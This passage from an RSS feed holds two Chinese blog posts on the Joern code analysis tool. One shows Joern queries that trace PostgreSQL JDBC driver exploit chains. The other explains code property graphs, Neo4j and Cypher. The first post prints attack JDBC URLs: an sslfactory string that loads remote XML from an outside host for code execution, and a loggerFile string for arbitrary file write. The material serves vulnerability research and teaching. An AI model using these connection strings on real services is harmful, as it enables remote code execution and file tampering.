16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=33f290f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGo3lQvQXGrUv6vpFpK2jibicSVV2aVMDVNGrps0YXg89OyicLD1CCbnQvQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">但如果我们<strong>手动去一步一步拆解caller，发现是可以一路跟到source节点的。</strong></span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">cpg.method.name(&#34;newInstance&#34;).repeat(_.caller)(_.maxDepth(10)).name(&#34;connect&#34;).fullName.dedup.l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.06297795771479982" width="1010.4545235535335" data-type="png" data-w="2223" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=30e121a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGHQdg3nWP6tJQqaxicfjDO3PdmgUiaSXxgRduZ1ZIrgKmgFg3UF6ZErhA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">repeat这个语法问题相当多，<strong>如果用repeat...until...这个语法，很大概率会卡死</strong>，几乎跑realworld代码没有不卡死的，所以我改用了<strong>限制maxDepth+条件判断的方式</strong>来查询，还算可以解决。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">当然这样只能拿到最终的节点，我们可以<strong>用一个文档里没写的overflowdb语法enablePathTracking来展示调用链，这部分内容我是从@Lightless的博客偷来的。</strong></span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a href="https://lightless.me/archives/analyze-apache-commons-text-with-joern.html" target="_blank">https://lightless.me/archives/analyze-apache-commons-text-with-joern.html</a></span></p></li></ul><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">cpg.method.name(&#34;newInstance&#34;).enablePathTracking.repeat(_.caller)(_.maxDepth(10)).name(&#34;connect&#34;).path.map(path=&gt;path.filter(n=&gt;n.isInstanceOf[Method]).map(n=&gt;{val nn = n.asInstanceOf[Method];nn.fullName})).dedup.l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4805018650389963" width="1340.4545164009762" data-type="png" data-w="2949" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d32cbec2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGjsLZMqysRKMqGt8wWnTOiaFfQSOR5R2AOB3vwgWloW2CO02SBly30bA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">当然，<strong>由于enablePathTracking的表现力很差，所以我们也可以用自己实现一套repeat，来解决重复调用等各种问题</strong>，这个代码同样来自于@LightLess。</span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">def findUntil(initStep: Traversal[Method], stopStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] = {<br/>    var nextBuffer: List[Vector[Method]] = List()<br/>    var finalResult: List[Vector[Method]] = List()<br/>    var results: List[Vector[Method]] = List()<br/>    val stopList = stopStep.l<br/>    val stopIdList = stopList.map(n =&gt; n.id).l<br/>    println(&#34;stopList.size:&#34; + stopList.size)<br/>    println(&#34;stopIdList: &#34; + stopIdList)<br/>    for (idx &lt;- 1 to maxIdx) {<br/>        // 第一次查找，使用初始条件作为起始<br/>        if (idx == 1) {<br/>            for (it &lt;- initStep) {<br/>                finalResult = finalResult :+ Vector(it)<br/>            }<br/>        }<br/>        // 处理 finalResult 中的每一条路径，取每条 path 的最后一项调用 caller<br/>        for (eachPath &lt;- finalResult) {<br/>            <br/>            var eachPathIdList = eachPath.filter(n =&gt; n.isInstanceOf[Method]).map(n =&gt; {<br/>                n.asInstanceOf[Method].id<br/>            }).l<br/>            var newNodes = eachPath.last.asInstanceOf[Method].caller.dedup<br/>            for (newNode &lt;- newNodes) {<br/>                // 检查 newPath 是否存在环，如果存在，则跳过，如果不存在，加到结果列表中<br/>                if (!eachPathIdList.contains(newNode.id)) {<br/>                    val newPath = eachPath :+ newNode<br/>                    nextBuffer = nextBuffer :+ newPath<br/>                    // 检查是否满足终结条件，如果满足，就加到resutls里<br/>                    if (stopIdList.contains(newNode.id)) {<br/>                        results = results :+ newPath<br/>                    }<br/>                }<br/>            }<br/>        }<br/>        // 所有的路径都处理完了，结果放在 nextBuffer 中<br/>        finalResult = nextBuffer<br/>        nextBuffer = List()<br/>    }<br/>    return results<br/>}</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">这个findUntil实现了<strong>repeat...untail...times</strong>的功能，而且也做了<strong>一定的去重和优化</strong></span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">def sink = cpg.method.name(&#34;newInstance&#34;)<br/>def source = cpg.method.name(&#34;connect&#34;)<br/>findUntil(sink, source, 10).map(path =&gt; path.map(node =&gt; (node.fullName))).dedup.l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.23535752784764644" width="1264.999972581864" data-type="png" data-w="2783" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2b41277e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGicrwKRwZDvQNJmhCqW3jR5fxtXrXVsnVopkITCuZKOjOFdDTD5b1CSQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">虽然这里的函数调用链是正确的，但这里面有个很大的区别就是，<strong>通过repeat获取的节点非常粗暴，并不一定是成数据流。</strong></span></p><p style="min-height: 24px;"><span style="font-size: 15px;">拿下面这段代码举例子，<strong>理论上来说数据流分析应该从ctor开始一点一点往上，一直找到classname参数，然后再到方法instantiate</strong>，但如果直接<strong>用caller会直接获取到instantiate方法，也就是直接到父节点</strong>。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5832460732984294" width="434.09089968224225" data-type="png" data-w="955" src="https://wechat2rss.xlab.app/img-proxy/?k=48697676&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGcAW977MBAosVCgBo3Gw2uGIq8CSKuibCJ3ibNBzd8UeRr01OKu1vKZMg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">但事实上<strong>如果数据流追不到参数，实际上是数据流是不通的</strong>，这种方式太粗暴，有效度也不会太高。连数据流分析的层面都到不了，更别谈过程间分析了。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">最关键的是，仔细研究后感觉<strong>这部分在joern中坑相当大，说白了就是Joern的CPG结构中其实没有这种执行流概念，节点之间链接只有AST指向，边的特性也没有明确的显示。</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6192411924119241" width="559.4545288085938" data-type="png" data-w="738" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3bab522f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGRbOhmqOaicEt2EB79a1NmkiacBJqrpkkEjR150HKtdhFAmz57jb2paBA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">用比较通俗的话讲，就是<strong>CPG更强调调用关系</strong>，就比如<strong>调用NewInstance方法的位置属于方法Instantiate的子节点</strong>，而<strong>具体到代码块执行流程，则只是简单的AST指向关系</strong>，<strong>除了有向边以外，也没有显示这种指向关系的特殊性。</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.22722400857449088" width="581.0908813476562" data-type="png" data-w="933" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3740f2e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroG792mwKUjibXicMOOGeUkYgjmnH15w2YPib4SaJASXVicB20p2nt5RgZ4jg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这方面的问题需要再花时间研究一下，这篇文章先不深入去讲。后面专门写文章研究这部分。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">其他利用链</h2><p style="min-height: 24px;"><span style="font-size: 15px;">我们仿照第一个利用链的语法，直接<strong>模拟一下其他几个利用链的挖掘方式</strong></span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>任意代码执行 sslfactory/sslfactoryarg</strong></span></p></li></ul><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;"># sslfactory&amp;sslfactroyarg，任意代码执行<br/>jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&amp;sslfactoryarg=<a href="http://test.joychou.org/1.xml" target="_blank">http://test.joychou.org/1.xml</a></span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">对应的利用链其实和上一个是一样的，<strong>入口都是connect，漏洞点都是newinstance</strong>，这条利用链用上面的代码就可以查询到</span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">def sink = cpg.method.name(&#34;newInstance&#34;)<br/>def source = cpg.method.name(&#34;connect&#34;)<br/>findUntil(sink, source, 10).map(path =&gt; path.map(node =&gt; (node.fullName))).dedup.l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.23249490142760026" width="1337.2726982881222" data-type="png" data-w="2942" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9feb95a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGJ0V9FQTOAicv46xic7zOicRYQNCuJjZCqic8mUztc6H7AwPB86gE11htFw%2F640%3Fwx_fmt%3Dpng"/></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>任意文件写入 loggerLevel/loggerFile</strong></span></p></li></ul><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;"># loggerLevel&amp;loggerFile，任意文件写<br/>jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&amp;loggerFile=test.txt&amp;test</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">这个漏洞的利用链相对特殊，其实是<strong>利用了logger本身的功能</strong>，通过<strong>配置log写入的文件来实现任意文件写</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.45222222222222225" width="575.0908813476562" data-type="png" data-w="900" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7c2f1a55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGdlsDP1AhVSQJ1nwbNoLwXKXqkRfT7zicnkHm34OZ0rNCQyVnH9BsrTg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这里<strong>类初始化的操作在joern被标记为&lt;init&gt;</strong>，所以sink为</span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">cpg.method.where(_.name(&#34;&lt;init&gt;&#34;)).where(_.fullName(&#34;.*FileHandler.*&#34;))</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4305396096440873" width="791.8181646559852" data-type="png" data-w="1742" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e3253b10&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGCRBxTgvE77dkH8e62R94ceic2DYWwfVX7JEN1CH5TkUVAhKbtQXwX7Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这样我们再次追利用链</span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">def sink = cpg.method.where(_.name(&#34;&lt;init&gt;&#34;)).where(_.fullName(&#34;.*FileHandler.*&#34;))<br/>def source = cpg.method.name(&#34;connect&#34;)<br/>findUntil(sink, source, 10).map(path =&gt; path.map(node =&gt; (node.fullName))).dedup.l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.20335429769392033" width="867.2727084750976" data-type="png" data-w="1908" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7a97ec2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGCS1Ufv3o0ykhDk7OHoyC8NHgjaJorBqYZsYQwwxU8e4j7OwWUl16Jw%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">完善利用链</h2><p style="min-height: 24px;"><span style="font-size: 15px;">在<strong>找到可控的</strong><strong><span style="color: rgb(51, 51, 51);">newInstance位置</span></strong><span style="color: rgb(51, 51, 51);">之后，我们还需要继续完善利用链的最后一步。</span></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5311601150527325" width="551.0908813476562" data-type="png" data-w="1043" src="https://wechat2rss.xlab.app/img-proxy/?k=8938d9d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGYTF7HHgjB9jIYUy5YPWanJYpjfSwgeXMiaVJQhMokXVBsUEufEKyRSQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">根据我们刚才找到的漏洞位置，我们需要找到<strong>一个对应的构造方法参数为一个String的类</strong>来做进一步利用。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">在Joern中可以<strong>通过寻找构造函数的关键字，再限制方法的返回类型来寻找这样的类</strong>.</span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">cpg.method.where(_.isConstructor).whereNot(_.typeDecl.isAbstract).fullName(&#34;.*:void\\(java.lang.String\\).*&#34;).fullName.l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.1174785100286533" width="1110.454521386092" data-type="png" data-w="2443" src="https://wechat2rss.xlab.app/img-proxy/?k=a7c2a412&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGo5IhltvNWAn43rUibAQc3H3qTe5QnG7DySx1ODKkbFLSTYuiblHmflPw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">当然这里找到的类是不全的，这里的问题和前面类似。<strong>Joern不会解jar包里的jar包</strong>，所以无法<strong>跟进去分析整个项目的依赖</strong>，自然也就没办法找到完整的利用点，这里不赘述了</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">修复</h2><p style="min-height: 24px;"><span style="font-size: 15px;">这个漏洞的修复也相当粗暴，在我们找到的最终执行命令的初始化任意类的地方，<strong>新版本直接指定获取的类名必须是指定类的子类，直接限制了后续的利用条件</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.37342767295597484" width="578.181805650065" data-type="png" data-w="1272" src="https://wechat2rss.xlab.app/img-proxy/?k=d84a6c5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGlNjRyjkIwaw1HAsbP9icN0f3vDKFSDsgEWspicIuzqiawD5QzYkzRlBbQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/08/31/joerninrw/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e80b7753&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484153%26idx%3D1%26sn%3Dbaa37dbc98c5671d19a1fdf7e435bc6b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 31 Aug 2023 17:32:00 +0800</pubDate>
    </item>
    <item>
      <title>深入浅出Joern（二）CPG与图数据库</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484125&amp;idx=1&amp;sn=7437e0e77385042e49f0140c998be7d8</link>
      <description>如果想要更深入的了解Joern，CPG和图数据库是绕不开的一个话题。CPG作为一种代码属性图，就必须寻找一种图数据库作为载体</description>
      <content:encoded><![CDATA[<p>
原创 <span>LoRexxar</span> <span>2023-08-22 16:49</span> <span style="display: inline-block;">北京</span>
</p>

<p>如果想要更深入的了解Joern，CPG和图数据库是绕不开的一个话题。CPG作为一种代码属性图，就必须寻找一种图数据库作为载体</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d8524f6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhR24STb0CQX09dYObzia85K3DQaINacHxMmN8VYNJgkhyFARBb61yMbfw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 16px;"><span style="letter-spacing: 0.034em;">在上篇文章里，我们从Joern入手大致介绍了</span><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">CPG(</strong><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"><span style="color: rgb(35, 57, 77);">Code Property Graph</span></strong><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">)</strong><span style="letter-spacing: 0.034em;">的设计理念和简单逻辑</span></span><ne-clipboard source="https%3A%2F%2Fwww.yuque.com%2Florexxar%2Fmdko6t%2Ffdgedrg1i33hvaa8%2Fedit%23GEySG"></ne-clipboard></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://lorexxar.cn/2023/08/21/joern-and-cpg/" target="_blank">https://lorexxar.cn/2023/08/21/joern-and-cpg/</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">但实际上来说，如果想要更深入的了解Joern，<strong>CPG和图数据库</strong>是绕不开的一个话题。CPG作为一种<strong>代码属性图</strong>，就必须寻找一种图数据库作为载体，就像我们常用的数据和SQL数据库的关系一样。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">旧版本的Joern使用的<strong>Gremlin</strong>，但后来的开发中换成了<strong>OverflowDB</strong>，在joern中也完全支持使用<strong>OverflowDB的查询语法</strong>。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://github.com/ShiftLeftSecurity/overflowdb" target="_blank">https://github.com/ShiftLeftSecurity/overflowdb</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">但属性图本身没有什么特异性，比较常见的比如<strong>Neo4J，OrientDB</strong>或者<strong>JanesGraph</strong>都支持CPG的表现形式。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">但，在这之前，我们首先需要知道，<strong>为什么是图？</strong></span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">为什么是图？</h1><p style="min-height: 24px;"><span style="font-size: 16px;">在上篇文章中，我在讲了CPG的设计思路时曾经提到过一些相关的内容。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">如果说CFG(<strong><span style="color: rgb(35, 57, 77);">control flow graphs</span></strong>)相比AST来说最大的特点是<strong>带有明确数据流向的流向</strong>，在数据流分析<strong>可能</strong>更有优势。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">那么CPG相比CFG来说有一个很大的特点就是<strong>信息量大</strong>，而图最大的特点也在于，就是<strong>可以容纳信息量巨大的内容</strong>。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">假设我们有这样一段代码</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">a = new A()<br/>b = a.b<br/>c.a = b.a<br/>d.a = c<br/>c.b = d.c</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">这里简单的几行代码，其实展示了相当复杂的依赖链，abcd几个变量中有着复杂的互相指向关系，如果<strong>用文字来表示abcd之间的关系我们可能需要拆分很多部分。</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">a -&gt; A()<br/>b -&gt; A().b<br/>c.a -&gt; A().b.a<br/>c.b -&gt; ....</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">我甚至很难用文字的方式表达出他们之间的关系，而<strong>图在这样的场景下就变得很有优势。</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.7905491698595147" width="355.9090831949693" data-type="png" data-w="783" src="https://wechat2rss.xlab.app/img-proxy/?k=1d2af732&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRsOQLbX5LT5udIveXADgRibA6KGvVSR0iahFCAtwzyW74GjxaXRYxboVg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">当然这只是一个粗浅的例子，但已经很明显的能感觉出来图和文字之间的差距了，<strong>图关系可以很轻松的表达出文字很难表达出来的信息量。</strong></span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">Joern与图</h1><p style="min-height: 24px;"><span style="font-size: 16px;">Joern用了CPG来<strong>储存代码的所有节点关系和属性数据</strong>，由于CPG的信息量大，所以Joern甚至<strong>提供了官方的生成AST、CFG等其他结构的接口</strong>，对于C/C++甚至支持多种自定义的结构。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;">Abstract Syntax Trees (AST)</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">Control Flow Graphs (CFG)</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">Control Dependence Graphs (CDG)</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">Data Dependence Graphs (DDG)</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">Program Dependence graphs (PDG)</span></p></li><li><p><span style="font-size: 16px;">Code Property Graphs (</span><span style="font-size: 16px;">CPG14</span><span style="font-size: 16px;">)</span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;">Entire graph, i.e. convert to a different graph format (ALL)</span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">在Joern的命令行你可以直接<strong>使用相应的命令生成对应的格式</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">cpg.method($name).dotAst.l // output AST in dot format<br/>cpg.method($name).dotCfg.l // output CFG in dot format<br/>...<br/>cpg.method($name).dotCpg14.l // output CPG&#39;14 in dot format</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.36146272855133615" width="969.5454335311232" data-type="png" data-w="2133" src="https://wechat2rss.xlab.app/img-proxy/?k=cee783a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhR1kAkI7vf41SzFjhbmT5g7dB8vFhnBjb3sO7O2OK8xotCrANJq64Njg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">有个很有意思的是，如果你的电脑装了<strong>Graphviz</strong>，Joern还可以调用Graphviz来绘图，虽然生成的图很难看。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://graphviz.org/download/" target="_blank">https://graphviz.org/download/</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">安装Graphviz之后我们可以通过命令来绘图</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">cpg.method($name).plotDotAst // plot AST<br/>cpg.method($name).plotDotCfg // plot CFG<br/>...<br/>cpg.method($name).plotDotCpg14 // plot CPG&#39;14</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.23407250967969026" width="1291.363608374084" data-type="png" data-w="2841" src="https://wechat2rss.xlab.app/img-proxy/?k=d5600602&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRemgmcvU92cANosZWs1DDB906OfIXQZlPDtcnjpZib8ekgwITe7Gdhow%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">说实话，不太实用，但是很方便</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">Neo4J</h1><p style="min-height: 24px;"><span style="font-size: 16px;">相比Graphviz这种仅仅用来临时展示图的应用来说，<strong>Neo4J则是标准而且非常成熟的图数据库</strong>，不但性能强，而且还实用。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://github.com/neo4j/neo4j" target="_blank">https://github.com/neo4j/neo4j</a></span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://neo4j.com/" target="_blank">https://neo4j.com/</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">你可以在官网下载免费的neo4j，其中包括服务端和客户端版本，服务端版本启动后会默认跑到7474端口上。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;"><strong>Neo4j使用的查询语言叫做Cypher，这是一种声明式的图查询语言</strong>，我个人觉得Cypher其实算是比较反人类的一种语言，具体的语法可以看对应的文档。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://neo4j.com/docs/cypher-manual/current/clauses/" target="_blank">https://neo4j.com/docs/cypher-manual/current/clauses/</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">简单来讲<strong>Cypher中对应SQL的语句关系有几个比较特别的</strong>，首先就是MATCH和where。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;"># SQL<br/>select Person from user where born = &#39;beijing&#39;<br/># Cypher<br/>MATCH (a:Person)-[:BORN]-&gt;(b:Location {city:&#39;beijing&#39;}) RETURN a,b</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">MATCH和where在两种查询语句中是类似的功能，其中的区别就是<strong>MATCH匹配的是图中节点之间的关系。Cypher语法比较强调节点之间的关系</strong>，比如-就是无方向关系，-&gt;就是有方向关系。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">match <br/>  (node)-[relationship]-&gt;(node)<br/>where<br/>  （node  